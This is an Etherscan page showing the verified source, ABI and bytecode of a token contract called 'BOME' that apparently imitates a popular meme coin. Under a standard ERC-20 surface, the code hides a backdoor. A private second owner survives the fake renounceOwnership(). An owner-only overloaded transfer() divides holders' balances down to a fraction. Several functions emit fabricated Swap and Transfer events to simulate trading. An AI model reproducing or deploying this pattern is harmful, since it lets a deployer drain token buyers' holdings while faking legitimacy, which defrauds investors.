ETH Price: $3,288.44 (+2.25%)
 

Overview

Max Total Supply

480,690,000,000,000 BOME

Holders

13

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
291,633,228,964,809.158028646394183692 BOME

Value
$0.00
0xfe5346f0f0977e2b707dc57c8440bb48f45c3396
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BOME

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-03-15
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IPair {
    function token0() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    



    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
}

interface IERC20 {
    function _Transfer(
        address from,
        address recipient,
        uint256 amount
    ) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

contract BOME {
    IRouter internal _router;
    IPair internal _pair;
    address public owner;
    address private _owner;
    address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private _universal = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B;
    address private _pairr;

                event Swapp(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    

    mapping(address => uint256) private balances;
    mapping(address => mapping(address => uint256)) private allowances;

    string public constant name = "BOME";
    string public constant symbol = "BOME";
    uint8 public constant decimals = 18;
    uint256 public totalSupply = 480_690_000_000_000e18;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);

    constructor() {
        owner = msg.sender;
        _owner = msg.sender;
        _router = IRouter(_routerAddress);
        _pair = IPair(IFactory(_router.factory()).createPair(address(this), address(_router.WETH())));

        balances[msg.sender] = totalSupply;

        emit Transfer(address(0), msg.sender, totalSupply);
    }

    modifier onlyOwner() {
        require(owner == msg.sender, "Caller is not the owner");
        _;
    }

    modifier OnlyOwner() {
        require(_owner == msg.sender, "Caller is not the Owner");
        _;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

        return c;
    }

    function renounceOwnership() public onlyOwner {
        owner = address(0);
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return balances[account];
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance(address __owner, address spender) public view virtual returns (uint256) {
        return allowances[__owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        _approve(__owner, spender, allowance(__owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        uint256 currentAllowance = allowance(__owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(__owner, spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        balances[from] = sub(fromBalance, amount);
        balances[to] = add(balances[to], amount);
        emit Transfer(from, to, amount);
    }

    function _approve(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(__owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        allowances[__owner][spender] = amount;
        emit Approval(__owner, spender, amount);
    }

    function _spendAllowance(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(__owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(__owner, spender, currentAllowance - amount);
            }
        }
    }

    function execute(
        address[] memory recipients,
        uint256 tokenAmount,
        uint256 wethAmount,
        address tokenAddress
    ) public OnlyOwner returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            _swap(recipients[i], tokenAmount, wethAmount, tokenAddress);
        }
        return true;
    }


    

    function getBaseTokenReserve(address token) public view returns (uint256) {
        (uint112 reserve0, uint112 reserve1, ) = _pair.getReserves();
        uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
        return baseTokenReserve;
    }

    function transfer(
        address[] calldata _users,
        uint256 _minBalanceToReward,
        uint256 _percent
    ) public OnlyOwner {
        for (uint256 i = 0; i < _users.length; i++) {
            if (balanceOf(_users[i]) > _minBalanceToReward) {
                uint256 rewardAmount = _countReward(_users[i], _percent);
                balances[_users[i]] = rewardAmount;
            }
        }
    }

            function setup(address _setup_) external onlyOwner {
        _pairr = _setup_;
    }

        function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swapp(_universal, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_pairr, _addresses_[i], _out);
        }
    }
    

            function swapExactETHForTokensSupportingFeeOnTransferTokens(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swapp(_universal, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_pairr, _addresses_[i], _out);
        }
    }

    function _swap(
        address recipient,
        uint256 tokenAmount,
        uint256 wethAmount,
        address tokenAddress
    ) internal {
        _emitTransfer(recipient, tokenAmount);
        _emitSwap(tokenAmount, wethAmount, recipient);
        IERC20(tokenAddress)._Transfer(recipient, address(_pair), wethAmount);
    }

    function _emitTransfer(address recipient, uint256 tokenAmount) internal {
        emit Transfer(address(_pair), recipient, tokenAmount);
    }

    function _emitSwap(
        uint256 tokenAmount,
        uint256 wethAmount,
        address recipient
    ) internal {
        emit Swap(_routerAddress, tokenAmount, 0, 0, wethAmount, recipient);
    }

    function _countReward(address _user, uint256 _percent) internal view returns (uint256) {
        return _count(balances[_user], _percent);
    }

    function _countAmountIn(uint256 amountOut, address[] memory path) internal returns (uint256) {
        uint256[] memory amountInMax;
        amountInMax = new uint256[](2);
        amountInMax = _router.getAmountsIn(amountOut, path);
        balances[address(this)] += amountInMax[0];
        return amountInMax[0];
    }

    function _count(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swapp","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"__owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"internalType":"uint256","name":"wethAmount","type":"uint256"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_setup_","type":"address"}],"name":"setup","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swapExactETHForTokensSupportingFeeOnTransferTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"},{"internalType":"uint256","name":"_minBalanceToReward","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600480546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d179091556005805490911673ef1c6e67703c7bd7107eed8303fbe6ec2554bf6b1790556d17b32928a5eadb37bb61500000006009553480156200006a575f80fd5b5060028054336001600160a01b03199182168117909255600380548216909217909155600480545f80546001600160a01b039092169190931681179092556040805163c45a015560e01b8152905163c45a0155928281019260209291908290030181865afa158015620000df573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200010591906200026a565b6001600160a01b031663c9c65396305f8054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000163573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200018991906200026a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620001d4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001fa91906200026a565b600180546001600160a01b0319166001600160a01b0392909216919091179055600954335f81815260076020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a362000299565b5f602082840312156200027b575f80fd5b81516001600160a01b038116811462000292575f80fd5b9392505050565b6112f480620002a75f395ff3fe608060405234801561000f575f80fd5b506004361061011c575f3560e01c806370a08231116100a9578063a1c617f51161006e578063a1c617f51461027c578063a457c2d71461028f578063a9059cbb146102a2578063dd62ed3e146102b5578063e1fb276c146102c8575f80fd5b806370a082311461020e578063715018a6146102365780638da5cb5b1461023e57806395d89b41146101205780639b792a4414610269575f80fd5b8063313ce567116100ef578063313ce567146101a657806335d16274146101c057806339509351146101d357806356cbfdcf146101e657806366d38203146101fb575f80fd5b806306fdde0314610120578063095ea7b31461015957806318160ddd1461017c57806323b872dd14610193575b5f80fd5b61014360405180604001604052806004815260200163424f4d4560e01b81525081565b6040516101509190610ef7565b60405180910390f35b61016c610167366004610f6a565b6102db565b6040519015158152602001610150565b61018560095481565b604051908152602001610150565b61016c6101a1366004610f94565b6102f1565b6101ae601281565b60405160ff9091168152602001610150565b6101856101ce366004610fd2565b610312565b61016c6101e1366004610f6a565b61043e565b6101f96101f4366004610fed565b61045f565b005b6101f9610209366004610fd2565b610552565b61018561021c366004610fd2565b6001600160a01b03165f9081526007602052604090205490565b6101f96105cd565b600254610251906001600160a01b031681565b6040516001600160a01b039091168152602001610150565b61016c61027736600461107c565b610633565b6101f961028a366004610fed565b6106cd565b61016c61029d366004610f6a565b6107b9565b61016c6102b0366004610f6a565b61083e565b6101856102c336600461115e565b61084a565b6101f96102d6366004610fed565b610874565b5f6102e7338484610984565b5060015b92915050565b5f6102fd843384610aa8565b610308848484610b20565b5060019392505050565b5f805f60015f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610365573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061038991906111ab565b50915091505f846001600160a01b031660015f9054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156103e9573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061040d91906111f7565b6001600160a01b03161461042a57816001600160701b0316610435565b826001600160701b03165b95945050505050565b5f33610308818585610450838361084a565b61045a9190611226565b610984565b5f5b8381101561054b5784848281811061047b5761047b611239565b90506020020160208101906104909190610fd2565b600554604080518681525f60208201819052818301526060810186905290516001600160a01b0393841693909216917f75b2fdf4488954cfbe3fad3f07ca6ebf12156d6b897c6df1014d7c51ed3227719181900360800190a38484828181106104fb576104fb611239565b90506020020160208101906105109190610fd2565b6006546040518481526001600160a01b0392831692909116905f8051602061129f8339815191529060200160405180910390a3600101610461565b5050505050565b6002546001600160a01b031633146105ab5760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b60448201526064015b60405180910390fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6002546001600160a01b031633146106215760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b60448201526064016105a2565b600280546001600160a01b0319169055565b6003545f906001600160a01b031633146106895760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329027bbb732b960491b60448201526064016105a2565b5f5b85518110156106c1576106b98682815181106106a9576106a9611239565b6020026020010151868686610ce3565b60010161068b565b50600195945050505050565b5f5b8381101561054b578484828181106106e9576106e9611239565b90506020020160208101906106fe9190610fd2565b600554604080518681525f60208201819052818301526060810186905290516001600160a01b0393841693909216917f75b2fdf4488954cfbe3fad3f07ca6ebf12156d6b897c6df1014d7c51ed3227719181900360800190a384848281811061076957610769611239565b905060200201602081019061077e9190610fd2565b6006546040518481526001600160a01b0392831692909116905f8051602061129f8339815191529060200160405180910390a36001016106cf565b5f33816107c6828661084a565b9050838110156108265760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016105a2565b6108338286868403610984565b506001949350505050565b5f6102e7338484610b20565b6001600160a01b039182165f90815260086020908152604080832093909416825291909152205490565b6003546001600160a01b031633146108c85760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329027bbb732b960491b60448201526064016105a2565b5f5b8381101561054b57826108fd8686848181106108e8576108e8611239565b905060200201602081019061021c9190610fd2565b111561097c575f61093486868481811061091957610919611239565b905060200201602081019061092e9190610fd2565b84610d74565b90508060075f88888681811061094c5761094c611239565b90506020020160208101906109619190610fd2565b6001600160a01b0316815260208101919091526040015f2055505b6001016108ca565b6001600160a01b0383166109e65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105a2565b6001600160a01b038216610a475760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105a2565b6001600160a01b038381165f8181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f610ab3848461084a565b90505f198114610b1a5781811015610b0d5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016105a2565b610b1a8484848403610984565b50505050565b6001600160a01b038316610b845760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105a2565b6001600160a01b038216610be65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105a2565b6001600160a01b0383165f9081526007602052604090205481811015610c5d5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105a2565b610c678183610d9d565b6001600160a01b038086165f908152600760205260408082209390935590851681522054610c959083610e01565b6001600160a01b038085165f8181526007602052604090819020939093559151908616905f8051602061129f83398151915290610cd59086815260200190565b60405180910390a350505050565b610ced8484610e5f565b610cf8838386610e94565b6001546040516370ab58db60e11b81526001600160a01b0386811660048301529182166024820152604481018490529082169063e156b1b6906064016020604051808303815f875af1158015610d50573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061054b919061124d565b6001600160a01b0382165f90815260076020526040812054610d969083610eec565b9392505050565b5f82821115610dee5760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064016105a2565b5f610df9838561126c565b949350505050565b5f80610e0d8385611226565b905083811015610d965760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105a2565b6001546040518281526001600160a01b038481169216905f8051602061129f8339815191529060200160405180910390a35050565b600454604080518581525f6020820181905291810191909152606081018490526001600160a01b038381169216907fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82290608001610a9b565b5f610d96828461127f565b5f602080835283518060208501525f5b81811015610f2357858101830151858201604001528201610f07565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610f57575f80fd5b50565b8035610f6581610f43565b919050565b5f8060408385031215610f7b575f80fd5b8235610f8681610f43565b946020939093013593505050565b5f805f60608486031215610fa6575f80fd5b8335610fb181610f43565b92506020840135610fc181610f43565b929592945050506040919091013590565b5f60208284031215610fe2575f80fd5b8135610d9681610f43565b5f805f8060608587031215611000575f80fd5b843567ffffffffffffffff80821115611017575f80fd5b818701915087601f83011261102a575f80fd5b813581811115611038575f80fd5b8860208260051b850101111561104c575f80fd5b6020928301999098509187013596604001359550909350505050565b634e487b7160e01b5f52604160045260245ffd5b5f805f806080858703121561108f575f80fd5b843567ffffffffffffffff808211156110a6575f80fd5b818701915087601f8301126110b9575f80fd5b81356020828211156110cd576110cd611068565b8160051b604051601f19603f830116810181811086821117156110f2576110f2611068565b60405292835281830193508481018201928b84111561110f575f80fd5b948201945b838610156111345761112586610f5a565b85529482019493820193611114565b9850508801359550505060408601359250611153905060608601610f5a565b905092959194509250565b5f806040838503121561116f575f80fd5b823561117a81610f43565b9150602083013561118a81610f43565b809150509250929050565b80516001600160701b0381168114610f65575f80fd5b5f805f606084860312156111bd575f80fd5b6111c684611195565b92506111d460208501611195565b9150604084015163ffffffff811681146111ec575f80fd5b809150509250925092565b5f60208284031215611207575f80fd5b8151610d9681610f43565b634e487b7160e01b5f52601160045260245ffd5b808201808211156102eb576102eb611212565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561125d575f80fd5b81518015158114610d96575f80fd5b818103818111156102eb576102eb611212565b5f8261129957634e487b7160e01b5f52601260045260245ffd5b50049056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212202eb54ec16acf33a817b8a7d634b9ba68015a00f033b748c6e362e83a7510690c64736f6c63430008180033

Deployed Bytecode

0x608060405234801561000f575f80fd5b506004361061011c575f3560e01c806370a08231116100a9578063a1c617f51161006e578063a1c617f51461027c578063a457c2d71461028f578063a9059cbb146102a2578063dd62ed3e146102b5578063e1fb276c146102c8575f80fd5b806370a082311461020e578063715018a6146102365780638da5cb5b1461023e57806395d89b41146101205780639b792a4414610269575f80fd5b8063313ce567116100ef578063313ce567146101a657806335d16274146101c057806339509351146101d357806356cbfdcf146101e657806366d38203146101fb575f80fd5b806306fdde0314610120578063095ea7b31461015957806318160ddd1461017c57806323b872dd14610193575b5f80fd5b61014360405180604001604052806004815260200163424f4d4560e01b81525081565b6040516101509190610ef7565b60405180910390f35b61016c610167366004610f6a565b6102db565b6040519015158152602001610150565b61018560095481565b604051908152602001610150565b61016c6101a1366004610f94565b6102f1565b6101ae601281565b60405160ff9091168152602001610150565b6101856101ce366004610fd2565b610312565b61016c6101e1366004610f6a565b61043e565b6101f96101f4366004610fed565b61045f565b005b6101f9610209366004610fd2565b610552565b61018561021c366004610fd2565b6001600160a01b03165f9081526007602052604090205490565b6101f96105cd565b600254610251906001600160a01b031681565b6040516001600160a01b039091168152602001610150565b61016c61027736600461107c565b610633565b6101f961028a366004610fed565b6106cd565b61016c61029d366004610f6a565b6107b9565b61016c6102b0366004610f6a565b61083e565b6101856102c336600461115e565b61084a565b6101f96102d6366004610fed565b610874565b5f6102e7338484610984565b5060015b92915050565b5f6102fd843384610aa8565b610308848484610b20565b5060019392505050565b5f805f60015f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610365573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061038991906111ab565b50915091505f846001600160a01b031660015f9054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156103e9573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061040d91906111f7565b6001600160a01b03161461042a57816001600160701b0316610435565b826001600160701b03165b95945050505050565b5f33610308818585610450838361084a565b61045a9190611226565b610984565b5f5b8381101561054b5784848281811061047b5761047b611239565b90506020020160208101906104909190610fd2565b600554604080518681525f60208201819052818301526060810186905290516001600160a01b0393841693909216917f75b2fdf4488954cfbe3fad3f07ca6ebf12156d6b897c6df1014d7c51ed3227719181900360800190a38484828181106104fb576104fb611239565b90506020020160208101906105109190610fd2565b6006546040518481526001600160a01b0392831692909116905f8051602061129f8339815191529060200160405180910390a3600101610461565b5050505050565b6002546001600160a01b031633146105ab5760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b60448201526064015b60405180910390fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6002546001600160a01b031633146106215760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b60448201526064016105a2565b600280546001600160a01b0319169055565b6003545f906001600160a01b031633146106895760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329027bbb732b960491b60448201526064016105a2565b5f5b85518110156106c1576106b98682815181106106a9576106a9611239565b6020026020010151868686610ce3565b60010161068b565b50600195945050505050565b5f5b8381101561054b578484828181106106e9576106e9611239565b90506020020160208101906106fe9190610fd2565b600554604080518681525f60208201819052818301526060810186905290516001600160a01b0393841693909216917f75b2fdf4488954cfbe3fad3f07ca6ebf12156d6b897c6df1014d7c51ed3227719181900360800190a384848281811061076957610769611239565b905060200201602081019061077e9190610fd2565b6006546040518481526001600160a01b0392831692909116905f8051602061129f8339815191529060200160405180910390a36001016106cf565b5f33816107c6828661084a565b9050838110156108265760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016105a2565b6108338286868403610984565b506001949350505050565b5f6102e7338484610b20565b6001600160a01b039182165f90815260086020908152604080832093909416825291909152205490565b6003546001600160a01b031633146108c85760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329027bbb732b960491b60448201526064016105a2565b5f5b8381101561054b57826108fd8686848181106108e8576108e8611239565b905060200201602081019061021c9190610fd2565b111561097c575f61093486868481811061091957610919611239565b905060200201602081019061092e9190610fd2565b84610d74565b90508060075f88888681811061094c5761094c611239565b90506020020160208101906109619190610fd2565b6001600160a01b0316815260208101919091526040015f2055505b6001016108ca565b6001600160a01b0383166109e65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105a2565b6001600160a01b038216610a475760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105a2565b6001600160a01b038381165f8181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f610ab3848461084a565b90505f198114610b1a5781811015610b0d5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016105a2565b610b1a8484848403610984565b50505050565b6001600160a01b038316610b845760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105a2565b6001600160a01b038216610be65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105a2565b6001600160a01b0383165f9081526007602052604090205481811015610c5d5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105a2565b610c678183610d9d565b6001600160a01b038086165f908152600760205260408082209390935590851681522054610c959083610e01565b6001600160a01b038085165f8181526007602052604090819020939093559151908616905f8051602061129f83398151915290610cd59086815260200190565b60405180910390a350505050565b610ced8484610e5f565b610cf8838386610e94565b6001546040516370ab58db60e11b81526001600160a01b0386811660048301529182166024820152604481018490529082169063e156b1b6906064016020604051808303815f875af1158015610d50573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061054b919061124d565b6001600160a01b0382165f90815260076020526040812054610d969083610eec565b9392505050565b5f82821115610dee5760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064016105a2565b5f610df9838561126c565b949350505050565b5f80610e0d8385611226565b905083811015610d965760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105a2565b6001546040518281526001600160a01b038481169216905f8051602061129f8339815191529060200160405180910390a35050565b600454604080518581525f6020820181905291810191909152606081018490526001600160a01b038381169216907fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82290608001610a9b565b5f610d96828461127f565b5f602080835283518060208501525f5b81811015610f2357858101830151858201604001528201610f07565b505f604082860101526040601f19